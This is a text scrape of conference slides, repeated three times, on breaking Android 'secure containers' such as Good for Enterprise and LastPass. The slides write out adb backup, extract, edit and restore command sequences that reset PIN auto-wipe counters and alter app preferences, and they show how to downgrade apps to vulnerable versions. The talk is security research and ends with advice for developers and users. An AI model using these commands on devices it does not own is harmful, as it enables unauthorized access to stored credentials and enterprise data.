  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 121: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 122: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 123: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

